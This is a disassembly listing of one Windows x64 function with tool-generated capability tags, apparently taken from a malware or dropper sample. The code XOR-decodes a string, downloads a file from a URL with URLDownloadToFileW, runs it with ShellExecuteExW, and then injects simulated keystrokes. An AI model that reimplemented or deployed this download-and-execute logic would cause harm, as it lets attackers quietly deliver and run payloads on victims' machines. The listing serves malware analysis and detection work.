Function at 0x140035994
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rdi, rdx
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xor r14d, r14d
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x1f], r14
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r14w
jne 0x1400359d6
lea rcx, [rbp + 7]
call fcn.14003e100
nop
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rcx, qword [rbp + 7]
mov rax, qword [rbp + 0x17]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x140035a0d
lea rcx, [rbp + 7]
call fcn.14003cdb4
movups xmm0, xmmword [str.ZV_S]
movups xmmword [rsp + 0x38], xmm0
mov eax, dword [0x1402b1520]
mov dword [rbp - 0x71], eax
mov ebx, 1
lea r15d, [rbx + 1]
cmp word [0x1402b1522], r14w
je 0x140035a69
mov r8d, r14d
lea r9, [rsp + 0x38]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
add r8d, ebx
add r9, r15
cmp r8d, 0xa
jl 0x140035a3d
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 7]
call fcn.14003cf30
lea r8, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova r8, qword [rbp + 7]
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140035be6
mov dword [rbp - 0x69], reloc.WS2_32.dll_WSASetLastError
xor edx, edx
lea r8d, [rdx + 0x6c]
lea rcx, [rbp - 0x65]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rax, qword [rbp + 7]
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x41], rdi
mov dword [rbp - 0x39], 5
lea rcx, [rbp - 0x69]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140035be6
lea rcx, [rsp + 0x30]
call fcn.140032624
movabs rcx, 0x7ffffffffd050f7f
mov rax, qword [rsp + 0x30]
cmp rax, rcx
jge 0x140035b0b
add rax, 0x2faf080
jmp 0x140035b15
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
call fcn.14003ec3c
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x4c
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, 0x4c
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, 0x45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x41
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, 0x41
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, Ordinal_79
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, Ordinal_79
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_keybd_event]
jmp 0x140035be9
mov bl, r14b
lea rcx, [rbp + 7]
call fcn.14003d7c4
mov al, bl
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400a07d0
mov rbx, qword [rsp + 0x130]
add rsp, 0xf0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret